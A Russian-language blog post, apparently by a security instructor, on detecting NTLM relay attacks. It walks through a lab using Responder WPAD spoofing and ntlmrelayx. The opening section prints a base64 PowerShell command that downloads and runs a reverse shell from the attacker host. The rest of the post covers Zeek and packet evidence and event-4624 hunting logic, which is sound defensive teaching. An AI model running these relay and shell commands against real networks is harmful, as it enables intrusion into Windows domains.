Протокол NTLM - старый, в нем великое множество архитектурных проблем, которые латаются с разной степенью успеха и надо бы его уже отправить на покой, однако, он по-прежнему вынужденно используется в сетях Windows. И его по-прежнему атакуют!
Одной из старых атак, имеющих исправление, являетcя NTLM Relay. В курсе у нас есть лаба со следующим сценарием.
1. Атакующий запускает перехватчик:
ntlmrelayx.py -tf targets.txt -c 'powershell.exe -exec bypass -enc SQBFAFgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEANgAwAC4AMQA1ADUALgA2ADYAOgA4ADAAOAAwAC8AcwBoAGUAbABsAC4AcABzADEAJwApAA==' -smb2support -w
где в BASE64 загрузка и запуск реверсивного шелла:
IEX(new-object Net.WebClient).downloadString('http://10.160.155.66:8080/shell.ps1')
2. Атакующий запускает респондер:
responder -I eth0 -w -r -F -f -d
В результате атакующий с хоста 10.160.155.66 (kali) спуфит WPAD, жертва с хоста .111 (w2008) приходит к нему за WPAD, аутентифицируется по NTLM, а атакующий .66 эту аутентификацию далее релеит на хост .101 (soctest-dc01), где выполняется команда скачивания и запуска реверсивного шелла.
Атака прекрасно наблюдается в Zeek. Не могу не отметить, что Zeek - прекрасный компромисс, так необходимый для сетевого Threat Hunting-а, между дампом всего трафика и сбором только алертов IDS, об этом давно писал.
.282 zeek.http - запрос с .111 на .66 /wpad.dat
.295, .297 zeek.smb_mapping - запрос по SMB с .66 уже на .101
.313 zeek.dce_rpc - удаленный запуск команды через создание службы
Как же можно попробовать обнаружить такую атау?
Давайте посмотрим теперь посмотрим как выглядит та же активность в трафике.
Пакет 787: .111 идет по HTTP с NTLM-аутентификацией на .66 за /wpad.dat. В пакете указано имя хоста W2008. Следующий пакет 788: .66 аутентифицируется на .101 по SMB2, при этом в пакете сохраняется имя аутентифицрующегося хоста W2008, соответствующее в нормальных условиях хосту .111. Внимательные в аттрибутах протокола даже могут заметить Target name: HTTP/wpad (строчки 0240 и 0250 в hex).
Очевидный хант на эту атаку - сравнивать NetBIOS имя хоста в пакете с именем хоста откуда пришел запрос на аутентификацию.
Грубо, логика работы следующая.
1. Из события 4624 извлекаем Workstation Name и Source Network Address. На практике эти поля заполняются в зависимости от схемы аутентификации: в случае Kerberos, вероятно, не будет NetBIOS имени рабочей станции, а при NTLM может быть не заполнен IP-адрес. Нас интересует NTLM, в большинстве случаев Workstation Name будет заполнено (правда, бывают исключения, и имени не будет)
2. Резолвим имя из Workstation Name в IP-адрес
3. Сравниваем получившийся IP с адресом Source Network Address из события запроса на аутентификацию. При несовпадении помечем событие аутентификации как подозрительное, возможная атака NTLM relay.
Из дампов трафика, приведенных выше, имя хоста из запроса на аутентификацию W2008, разрешилось бы в адрес .111, а запрос на хост .101 пришел с адреса .66, .66 не совпадает с .111 => предположительно, NTLM relay.
Второй сценарий, аналогичный, но будем сравнивать имена.
1. Из события 4624 извлекаем Workstation Name.
2. Source Network Address резолвим в имя.
3. Имя, полученное из Source Network Address сравниваем с именем в Workstation Name.
При кажущейся простоте подобные правила нуждаются в серьезной отладке, а за счет особенностей инфраструктуры могут вовсе работать некорректно. Но об этом поговорим чуть позже у меня в Телеграмм.